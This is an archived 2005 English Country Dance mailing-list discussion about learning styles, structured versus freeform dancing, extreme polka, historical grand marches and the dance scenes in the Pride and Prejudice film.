Website - thoughts on styles of learning To: Tom Vincent CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LT62BPCLUS9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=iso-8859-1; reply-type=original References: <20050913210111.14331.qmail-AT-web32408.mail.mud.yahoo.com> Tom wrote: > About your puzzlement: Probably because *any* movement to music is dancing, > by definition. > Ancient ceremonies or celebrations (religious or secular) that involve music > and rhythmical movements aren't choreographed in any way but clearly the > participants are dancing. > Now, 'dancing really well' is a pretty snooty and entirely subjective call, > isn't it? How about just appreciating that people are celebrating, > expressing themselves and enjoying themselves? A dance competition, okay. > But those are few are far between. > Yes, dancing *is* easy. Dancing to satisfy some elevated expectations, > justified or otherwise, is not. > I guess you're one of those people who believes that if one's singing voice > isn't 'up to snuff', best to contain it to the shower...preferably at a > whisper. > I like to appreciate *everyone's* dancing, especially in a social setting. > Okay, sometimes it's a challenge, but if the arts were only limited to the > talented, nobody would ever even try. Well, first, we were talking about a country dance setting. It's a challenge to appreciate the dancing of someone at a country dance who doesn't want to learn how the dances go. They're engaged in a different enterprise than we are. THe question isn't talent - it's willingness and cooperation. I think you're off the beam here. Didn't this start with Jon wondering why someone would go to a contradance and complain about having somebody (eg, a caller) tell them what to do all the time? So Graham was commenting on how their expectations might have been set by the idea that they were doing a great job with dancing (""like John Travolta"") by jumping up and down. Now, Graham is a discriminating and discerning observer who knows good dancing when he sees it - and you'd better be, if you're going to be a dance leader who helps people improve their dancing - but that doesn't, of itself, make him a snooty person who thinks klutzes shouldn't dance in public. And I think it would be be more in keeping with the tone I'd like the list to have if list denizens disagreed with what people specifically said rather than with their assumptions about what kind of person their statements have revealed them to be. Thanks. -- Alan > Tom > ----- Original Message ----- > From: ""Graham Christian"" > To: > Sent: Tuesday, September 13, 2005 5:01 PM > Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of > learning > > Whoa, hold up. > > I never for a moment suggested that Travolta or Gray or anyone else was > > not dancing with > > consummate skill; or for that matter that the Charleston or swing or > > anything else were formless > > OR easy. Please do not attribute to me contempt for anyone else's dance > > style or tradition. I was > > for one dumbstruck with admiration for Travolta the last time I saw *SNF* > > (and yes, Susan, I > > fast-forwarded through the ""plot"" to get to the dance). I hope my remark > > suggested that there is > > some DISTANCE between the ""leave-me-alone-and-let-me-move-freely"" dancer > > and Travolta's genuine > > skill. > > What puzzles me--and the point of my jest, and yes, it *was* a jest--is > > how or where some get the > > notion that if they simply jump up and down that they are a) dancing and > > b) dancing really well. > > Perhaps some have always felt, no matter the form, that dance is really > > easy and requires neither > > practice nor observation nor training, with predictable results. I'm just > > grateful that this > > personality type doesn't usually seem to be drawn to, say, bridge > > construction or eye surgery > > (*also* a jest; I have the greatest respect for surgeons, engineers, > > bridges, and eyes). > > --- Tom Vincent wrote: > > > >> Oh. So those sock-hops in the '50s, USO dances during WW2 and the > >> dances done by flappers at speak-easies in the '20s were carefully > >> choreographed group efforts. > >> > >> What crap! Do you have any idea of how much work Travolta went through > >> to learn all the intricate moves he performed in SNF? How about > >> Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and > >> Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? > >> Nearly every music video made in the past 20 years? > >> > >> Regardless of the venue or style, people that show talent on the > >> dancefloor earn the respect of their peers. Those who look like > >> klutzes are laughed at. Just like it's been for 400+ years. > >> > >> Tom > >> DE > >> > >> --- Graham Christian wrote: > >> > >> > I'm afraid that, post-1965, a very great number of people expect > >> > exactly this. That is, to them, > >> > ""dance"" means: hop up and down, flail your arms, and roll your head. > >> > Under a glitter ball, these > >> > movements make you look exactly like John Travolta in *Saturday Night > >> > Fever*. Really. It never > >> > fails. > >> > >> > >> -*-*-*-*-*-*-*-*-* > >> Tom Vincent > >> > >> -*-*-*-*-*-*-*-*-* > >> > >> """"Conservatives saw the savagery of 9-11 and the attacks and prepared for > >> war; liberals saw the > >> savagery of the 9-11 attacks and wanted to prepare indictments and offer > >> therapy and > >> understanding for our attackers."" > >> > >> - Karl Rove, Fascist Idiot, June 22 2005 > >> > > > > > > Graham > > ""Sphinx of black quartz, judge my vow."" -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Sun, 18 Sep 2005 07:25:52 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 07:17:51 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: Tom Vincent CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LT62NB7HEK9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=iso-8859-1; reply-type=original References: <01LSZIENC1BM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> Tom -- > I think that looking cool at an unstructured dance is a function of dress, > physical attractiveness, grace and style rather than on 'personal > choreography'. Maybe so. But ""grace and style"" inform your personal choreography. Also, this means that at, eg, high school dances, the cool kids look cool, and if the geeks and nerds overcome their shyness and reluctance and try to dance, they'll reinforce their low status. Which is part of why I think unstructured dancing has produced unpleasant/scary experiences for many people, who therefore have been turned off to dancing as a participatory activity, despite the fact that unstructured dancing - no lessons, no rules - would seem to be as entry-level a form as you can get. > Remember, at an unstructured dance, your intent is to > attract a mate (even -- or especially -- a temporary one). Yes, if someone > doesn't care how they are viewed, they'll be more...uh, creative. Often, > alcohol is involved. ;> Alcohol is involved in lowering inhibitions enough to get out on the dance floor at all, and not worry as much about how much like a geek you look. > That entire situation is rarely present at ECDs or similar folk dances. Except, to some extent, English ceilidh in England. > Tom > ----- Original Message ----- > From: ""Alan Winston - SSRL Central Computing"" > To: > Sent: Tuesday, September 13, 2005 5:30 PM > Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of > learning > > Tom wrote: > > > >> Oh. So those sock-hops in the '50s, USO dances during WW2 and the > >> dances done by flappers at speak-easies in the '20s were carefully > >> choreographed group efforts. > > > > Well, the ones we see in the movies like ""1941"" are. (Great jitterbug > > into > > brawl sequence in that movie, which has many terrific moments but doesn't, > > I > > think, work as a whole.) > > > > (Parenthetically, it seems like country-dancing is still the only thing > > where > > the basic unit is the couple and couples interact, couple by couple, but I > > notice that various apparently couple-dance-only forms end up generating > > their > > own group dances. Flappers (and their men) might Charleston with partners > > or > > join a Charleston circle; swing dancers might join a big circle to do a > > Big > > Apple or a shim-sham, and sock-hoppers might make two lines and do the > > Madison, > > if I'm remembering the name right. Do ravers follow that impulse as > > well?) > > > >> What crap! Do you have any idea of how much work Travolta went through > >> to learn all the intricate moves he performed in SNF? How about > >> Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and > >> Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? > >> Nearly every music video made in the past 20 years? > > > > I'm expecting it was just about as much work as Hermes Pan did with Fred > > Astaire and Ginger Rogers to learn their intricate moves. However, you've > > missed Graham's irony. To unpack it, he was suggesting that people who > > bob up and down like chickens on the dance floor apparently have a > > mistaken > > image in their heads that they look as cool as John Travolta did in that > > dance. > > > > I'd prefer it, incidentally, if you objected a little less robustly. > > (It's > > fine to disagree, but it seems impolite to me to say ""What crap!"") > > > > > >> Regardless of the venue or style, people that show talent on the > >> dancefloor earn the respect of their peers. Those who look like > >> klutzes are laughed at. Just like it's been for 400+ years. > > > > But the difference since the 1960s is that, in non-structured couple dance > > situations, you're _expected_ to look cool on the dance floor without > > instruction. And people who are worried about looking like klutzes don't > > get > > out there - which is why we have that whole ""dance like there's nobody > > watching"" meme - and are cut off from joy of movement and communal being, > > and > > dance isn't part of daily life, as it damned well ought to be. > > > > -- Alan > > -- > > =============================================================================== > > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > > 650/926-3056 > > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA > > 94025 > > =============================================================================== > > -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Sun, 18 Sep 2005 07:30:38 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <05c701c5bc5d$7f999840$71faf845-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> <4324CA70.4010404-AT-sbcglobal.net> Subject: OT: Extreme Polka - was Re: [ECD] English Dialect Website Date: Sun, 18 Sep 2005 10:28:33 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit There's actually an entire sub-genre of music called 'Extreme Polka' and Polkacide was one of the first. Others include Polkaholics, Those Darn Accordions and Big Lou the Accordion Princess. http://clevelandintl.com/extremepolka.htm http://polkaboy.typepad.com/polkaholics/2005/09/extreme_polka_w.html http://www.clevelandintl.com/biglou.html There's also 'Gangsta Polka' which is Mexican music about drug dealers and smugglers. It was even featured in an episode of CSI: Las Vegas. Tom ----- Original Message ----- From: ""Jon Berger"" To: Sent: Sunday, September 11, 2005 8:23 PM Subject: Re: [ECD] English Dialect Website > > > Emily L. Ferguson wrote: > >> How many American dancers have any idea of how to polka? Can you put >> them all on the head of a pin..... > > Lots of people do around where I live, that being the California wine > country. There's a whole community of Germans who moved to the Sonoma > area > in the 30's or thereabouts to work in the wineries, and they're polka > fiends. You can see them at a restaurant called Little Switzerland in El > Verano any Friday or Saturday night; the tradition of polka nights there > has gone on for something like 40 years. > > There's a San Francisco band called Polkacide who have gotten locally > infamous for doing more or less straightforward polka music, but dressed > in > outrageous punk outfits, very loud, and usually in alternative-music > clubs. > We went to see them at a bar in Cotati, which is a college town, the home > of Sonoma State University. The crowd was mostly college kids, who were > pogoing and crashing and leaping around and generally dancing the way > you'd > dance to a punk-rock band, but there was also an older couple, probably in > their 60's, who were happily and quite obliviously polkaing away, complete > with lots of snazzy turns and dips and hot moves. The college crowd > respectfully gave them lots of floor space. The combination of the two > styles was lots of fun to watch. > > -- > Jon Berger > http://pages.sbcglobal.net/jberger > ================================================================================ Archive-Date: Sun, 18 Sep 2005 07:56:35 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <061601c5bc61$1eaf6d30$71faf845-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <20050913210111.14331.qmail-AT-web32408.mail.mud.yahoo.com> <01LT62BPCLUS9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Date: Sun, 18 Sep 2005 10:53:36 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Alan Winston - SSRL Central Computing"" To: ""Tom Vincent"" Cc: Sent: Sunday, September 18, 2005 10:03 AM Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning > > Well, first, we were talking about a country dance setting. It's a > challenge > to appreciate the dancing of someone at a country dance who doesn't want > to > learn how the dances go. They're engaged in a different enterprise than > we > are. THe question isn't talent - it's willingness and cooperation. Certainly the rare person who just wants to dance and not learn first is a problem, but it's quickly addressed and solved. But it's also a concern when expectations by the experienced dancers and callers are too high. That can really kill a beginner's interest. I wonder how many first-timers are turned off by the unreasonably heightened expectations. > > I think you're off the beam here. Didn't this start with Jon wondering > why > someone would go to a contradance and complain about having somebody (eg, > a > caller) tell them what to do all the time? So Graham was commenting on > how > their expectations might have been set by the idea that they were doing a > great > job with dancing (""like John Travolta"") by jumping up and down. There isn't a 'beam' in discussion threads. Where it starts and where it goes is as fluid as any other conversation. I think we're much more likely to encounter people who have seen ECD in a movie or TV show and want to learn how to do it, not show up expecting to just 'do' it. > > Now, Graham is a discriminating and discerning observer who knows good > dancing > when he sees it - and you'd better be, if you're going to be a dance > leader who > helps people improve their dancing - but that doesn't, of itself, make him > a > snooty person who thinks klutzes shouldn't dance in public. Good to know and I'm sure most of us are, too. That really wasn't I said, however, nor was it the context of the discussion. Klutzes are usually just beginners and good dancing at an ECD can, I think, be just about *anybody* dancing. This is dancing for the masses and it should be presented and appreciated as such. > > And I think it would be be more in keeping with the tone I'd like the list > to > have if list denizens disagreed with what people specifically said rather > than > with their assumptions about what kind of person their statements have > revealed > them to be. Thanks. More of a suspicion than an assumption. And disagreements presented with evidence is what makes for stimulating and informative conversation. > > > -- Alan > > > > > >> Tom > ================================================================================ Archive-Date: Sun, 18 Sep 2005 08:06:53 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <061901c5bc62$9015c590$71faf845-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu CC: References: <01LSZIENC1BM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> <01LT62NB7HEK9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Date: Sun, 18 Sep 2005 11:04:40 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=response Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Alan Winston - SSRL Central Computing"" To: ""Tom Vincent"" Cc: Sent: Sunday, September 18, 2005 10:17 AM Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning > Tom -- > >> I think that looking cool at an unstructured dance is a function of >> dress, >> physical attractiveness, grace and style rather than on 'personal >> choreography'. > > Maybe so. But ""grace and style"" inform your personal choreography. Effect it or substitute for it, but not inform it, unless the personal choreography is from prior experience. 'Choreography' implies pre-planning and training whereas 'grace and style' at an unstructured social dancing is more instinctual. > Also, this means that at, eg, high school dances, the cool kids look cool, > and > if the geeks and nerds overcome their shyness and reluctance and try to > dance, > they'll reinforce their low status. Which is part of why I think > unstructured > dancing has produced unpleasant/scary experiences for many people, who > therefore have been turned off to dancing as a participatory activity, > despite > the fact that unstructured dancing - no lessons, no rules - would seem to > be as > entry-level a form as you can get. Yep. But success -- like 'luck' -- occurs when planning meets opportunity. Nobody runs onto the football field and becomes an instant athlete. If geeks and nerds want to 'get the girl' at a dance, they're well-adviced to get dancing lessons beforehand. A lot of the cruelty in school social situations is because unprepared participants are unfairly critized for their failure to succeed in activities for which they have had no previous training. > >> Remember, at an unstructured dance, your intent is to >> attract a mate (even -- or especially -- a temporary one). Yes, if >> someone >> doesn't care how they are viewed, they'll be more...uh, creative. Often, >> alcohol is involved. ;> > > Alcohol is involved in lowering inhibitions enough to get out on the dance > floor at all, and not worry as much about how much like a geek you look. > >> That entire situation is rarely present at ECDs or similar folk dances. > > Except, to some extent, English ceilidh in England. Of course, calling a Morris Dance an 'ale' indicates that it probably should be added to that list. ;) > > >> Tom ================================================================================ Archive-Date: Sun, 18 Sep 2005 09:06:36 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: DavBarnert-AT-aol.com Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <83.30245856.305eea7a-AT-aol.com> Date: Sun, 18 Sep 2005 12:06:18 EDT Subject: Re: [ECD] can't waltz... To: ecd-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""part1_83.30245856.305eea7a_boundary"" --part1_83.30245856.305eea7a_boundary Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Mike wrote: > The best zweifaches are those which are not briefed, but rather > just played... Back in the 70s when I was first exposed to Zweifaches in Boston, the MIT Folk Dance Club had a t-shirt that was a mess of W's and P's and parentheses and exponents (several lines worth). It looked more like a perversion of Maxwell's equations than the instructions to a dance, but of course that's what it was. Sorry for the HTML. AOL continues to make it harder and harder to ""do it right."" ______ /\\/\\/\\/\\ <______> | | | | | David Barnert <______> | | | | | <______> | | | | | Albany, NY <______> \\/\\/\\/\\/ Ventilator Concertina Bellows Bellows (Vocation) (Avocation) --part1_83.30245856.305eea7a_boundary Content-Type: text/html; charset=""US-ASCII"" Content-Transfer-Encoding: quoted-printable Mike wrote: > The best zweifaches are those which are not briefed, but rather > just played... Back in the 70s when I was first exposed to Zweifaches in Boston, the MIT Folk Dance Club had a t-shirt that was a mess of W's and P's and parentheses and exponents (several lines worth). It looked more like a perversion of Maxwell's equations than the instructions to a dance, but of course that's what it was. Sorry for the HTML. AOL continues to make it harder and harder to ""do it right.""     ______      /\\/\\/\\/\\    <______>     | | | | |  David= Barnert    <______>     | | | | |     <______>     | | | | |  Alban= y, NY    <______>     \\/\\/\\/\\/   Ventilator   Concertina     Bellows      Bellows   (Vocation)   (Avocation) --part1_83.30245856.305eea7a_boundary-- ================================================================================ Archive-Date: Sun, 18 Sep 2005 16:01:57 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 19:01:35 -0400 From: susan-AT-generalist.org Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Message-ID: <20050918230135.GA8949-AT-g3.lse.org> References: <01LSZIENC1BM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> <057001c5bc5b$4df4ecb0$71faf845-AT-Hercules> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Sun, Sep 18, 2005 at 10:09:22AM -0400, Tom Vincent wrote: > Remember, at an unstructured dance, your intent is to > attract a mate (even -- or especially -- a temporary one). Um, Tom, maybe *your* intent in going to unstructured dances is to attract a mate. I actually go to dance, just like at any other dance event. Please don't generalize from your own intentions. Susan (freshly returned from contra camp) ================================================================================ Archive-Date: Sun, 18 Sep 2005 16:06:25 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 19:06:11 -0400 From: susan-AT-generalist.org Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Message-ID: <20050918230611.GB8949-AT-g3.lse.org> References: <20050913210111.14331.qmail-AT-web32408.mail.mud.yahoo.com> <01LT62BPCLUS9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Sun, Sep 18, 2005 at 07:03:18AM -0700, Alan Winston - SSRL Central Computing wrote: > Now, Graham is a discriminating and discerning observer who knows good > dancing > when he sees it - and you'd better be, if you're going to be a dance leader > who > helps people improve their dancing - but that doesn't, of itself, make him a > snooty person who thinks klutzes shouldn't dance in public. Certainly not. Having just had the delightful experience of being on a weekend camp program with Graham, I greatly admired his skill and patience in nursing along a group of people with wildly varying abilities into a joyous and harmonious whole. He didn't even look too tense when our set got frisky and silly this morning. > And I think it would be be more in keeping with the tone I'd like the list > to > have if list denizens disagreed with what people specifically said rather > than > with their assumptions about what kind of person their statements have > revealed > them to be. Thanks. Not speaking with Alan's authority here, but I'd personally like it if people would not repost other people's entire posts at the bottom of theirs when there's no new content added. It's a lot of junk to scroll through for no reason. Delete is your friend. Susan (life is sunnier than on Friday) ================================================================================ Archive-Date: Sun, 18 Sep 2005 16:08:32 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 19:08:15 -0400 From: susan-AT-generalist.org Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area Message-ID: <20050918230815.GD8949-AT-g3.lse.org> References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> <432C344F.2010203-AT-sbcglobal.net> <6F010519-652F-4C1D-9427-ED8EFBE3B6B0-AT-earthlink.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Sat, Sep 17, 2005 at 09:13:34AM -0700, James Langdell wrote: > Jon, you've just told the band directly without needing Alan's > mediation. > Thanks for drawing my attention to an apt song found on a CD no further > away than my basement. For the ball's grand march, Gotta ask - what's your documentation for a grand march for this time period? Susan ================================================================================ Archive-Date: Sun, 18 Sep 2005 16:35:39 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 16:26:40 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area To: susan-AT-generalist.org CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LT6LTXBR6K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> <432C344F.2010203-AT-sbcglobal.net> <6F010519-652F-4C1D-9427-ED8EFBE3B6B0-AT-earthlink.net> > On Sat, Sep 17, 2005 at 09:13:34AM -0700, James Langdell wrote: > > Jon, you've just told the band directly without needing Alan's > > mediation. > > Thanks for drawing my attention to an apt song found on a CD no further > > away than my basement. For the ball's grand march, > Gotta ask - what's your documentation for a grand march for this time > period? The Journal of ""We Need to Get These People, Many of Whom Didn't Come To Any Workshops, On Their Feet Somehow Without Turning it Into a Class Instead of A Ball"", published three times a year inthe SF Bay Area from 1985 to date. In other words, I can't justify it historically, only through expediency. What's the earliest you know about grand marches / polonaises? -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Sun, 18 Sep 2005 16:49:57 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 19:49:35 -0400 From: susan-AT-generalist.org Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area Message-ID: <20050918234935.GA9544-AT-g3.lse.org> References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> <432C344F.2010203-AT-sbcglobal.net> <6F010519-652F-4C1D-9427-ED8EFBE3B6B0-AT-earthlink.net> <01LT6LTXBR6K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Sun, Sep 18, 2005 at 04:26:40PM -0700, Alan Winston - SSRL Central Computing wrote: > > On Sat, Sep 17, 2005 at 09:13:34AM -0700, James Langdell wrote: > > > Jon, you've just told the band directly without needing Alan's > > > mediation. > > > Thanks for drawing my attention to an apt song found on a CD no further > > > away than my basement. For the ball's grand march, > > > Gotta ask - what's your documentation for a grand march for this time > > period? > > The Journal of ""We Need to Get These People, Many of Whom Didn't Come To Any > Workshops, On Their Feet Somehow Without Turning it Into a Class Instead of A > Ball"", published three times a year inthe SF Bay Area from 1985 to date. > > In other words, I can't justify it historically, only through expediency. > > What's the earliest you know about grand marches / polonaises? 1822, and it's a unicum. I would've been thrilled to be supplied with an earlier date. The polonaise in particular is almost certainly older, but specifics are lacking. I think the first detailed description I have is late 1820's (and in German, sigh), but I think it's mentioned in some of Wilson's earlier advertising as one of the things he taught. I was thrilled to find (in an English manual!) the 1822 one, which was supposedly danced at the congress at Aix-la-Chapelle, for reasons summed up nicely by your journal title. If you still have one of my little Assembly booklets, the sequence is in that. If not, I have one more of my 2004 edition going begging. :) Susan ================================================================================ Archive-Date: Sun, 18 Sep 2005 23:39:25 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <432E5D08.6060703-AT-sbcglobal.net> Date: Sun, 18 Sep 2005 23:39:04 -0700 From: Jon Berger Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> <432C344F.2010203-AT-sbcglobal.net> <6F010519-652F-4C1D-9427-ED8EFBE3B6B0-AT-earthlink.net> <01LT6LTXBR6K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Alan Winston - SSRL Central Computing wrote: >>Gotta ask - what's your documentation for a grand march for this time >>period? > > > The Journal of ""We Need to Get These People, Many of Whom Didn't Come To Any > Workshops, On Their Feet Somehow Without Turning it Into a Class Instead of A > Ball"", published three times a year inthe SF Bay Area from 1985 to date. I believe I also saw a writeup in the Proceedings of the Royal ""If We Don't Let Them Get The Part About Scoping Out Each Other's Outfits Out Of The Way, They'll Be Looking All Over The Room For The Entire First Dance And Probably Run Into Each Other"" Society. -- Jon Berger http://pages.sbcglobal.net/jberger ================================================================================ Archive-Date: Mon, 19 Sep 2005 02:31:05 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 10:29:57 +0100 Subject: [ECD] Pride and Prejudice From: Nicolas Broadbridge Reply-To: ECD-AT-playford.slac.stanford.edu To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Great excitement in the Broadbridge household last week with the release of the new film of Pride and Prejudice, which stars Keira Knightley and Matthew MacFadyen as the star crossed lovers, with Brenda Blethyn and Donald Sutherland as her parents and Judi Dench as the overbearing Lady Catherine de Bourgh; and featuring Aidan Broadbridge as ""Dance Musician/Fiddler"" leading the bands at the two Balls, and heard playing solo for ""the big dance"" - you know, the one where Elizabeth and Darcy dance together for the first time. Jane Gibson, the choreographer, uses Aidan for preference, both for rehearsals and, in this case, on set, whenever she has Country Dance to do for film or TV. She chose all the dances used in this film from three of our CDs, namely 'Dance & Danceability', 'A Purcell Ball' and 'Purcell, Encore!' If anyone is interested, I can supply a list of the dances used. It's a delightful film, shot almost entirely on location using eminently suitable houses, and with really good period mises en scenes - great attention to agricultural details including livestock breeds of the time. Reviews so far are almost universally enthusiastic Pictures of Aidan in costume will be up on the web site imminently! Nicolas Broadbridge www.nicolasbroadbridge.com ================================================================================ Archive-Date: Mon, 19 Sep 2005 03:01:53 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <200509191001.j8JA1RBS009257-AT-nospam3.slac.stanford.edu> From: graham-AT-gcknight.demon.co.uk Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Pride and Prejudice Date: Mon, 19 Sep 2005 11:01:25 +0100 MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit I can whole heartedly agree with Nic. The dance scenes were a lot more believable than the previous version. They were filmed from a more sympathetic angle giving a better flavour of the dance. The music was excellent and supported the film very giving the film a much better air of authenticity. The costuming also appeared to be well done, although I am no expert by any means, adding to the believability. The acting was also excellent. There was humour, where needed, that did not seem out of place. The wit that was also displayed added greatly to the enjoyment of the film. Whilst I recognised all the dance tunes putting names to some of the dance proved a bit more difficult. I would appreciate it, Nic, if you could send me a list of the dances. Graham Knight ================================================================================ Archive-Date: Mon, 19 Sep 2005 05:19:56 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Mon, 19 Sep 2005 12:18:29 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Pride and Prejudice Content-Type: multipart/alternative;boundary=""--__JWM__J59e2.1cfbS.3f54M"" Message-ID: <20050919.051849.28133.498887-AT-webmail18.nyc.untd.com> ----__JWM__J59e2.1cfbS.3f54M Content-Disposition: inline Content-Type: text/plain Nicolas wrote: If anyone is interested, I can supply a list of the dances used. Yes, please! He also wrote: Reviews so far are almost universally enthusiastic Well, some commentators on austenblog.com are less than enthusiastic--this has been called (disparagingly) the Wuthering Heights version of P&P--all gritty realism and hair hanging down into one's eyes. However, we in the US are looking forward to seeing it--it opens nationally on the same day as, I believe, the latest installment of the filmed Harry Potter--quel dilemme! Allison Thompson ----__JWM__J59e2.1cfbS.3f54M Content-Disposition: inline Content-Type: text/html Nicolas wrote: If anyone is interested, I can supply a list of the dances used.Yes, please! He also wrote: Reviews so far are almost universally enthusiastic Well, some commentators on austenblog.com are less than enthusiastic--this has been called (disparagingly) the Wuthering Heights version of P&P--all gritty realism and hair hanging down into one's eyes. However, we in the US are looking forward to seeing it--it opens nationally on the same day as, I believe, the latest installment of the filmed Harry Potter--quel dilemme! Allison Thompson ----__JWM__J59e2.1cfbS.3f54M-- ================================================================================ Archive-Date: Mon, 19 Sep 2005 05:31:09 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: 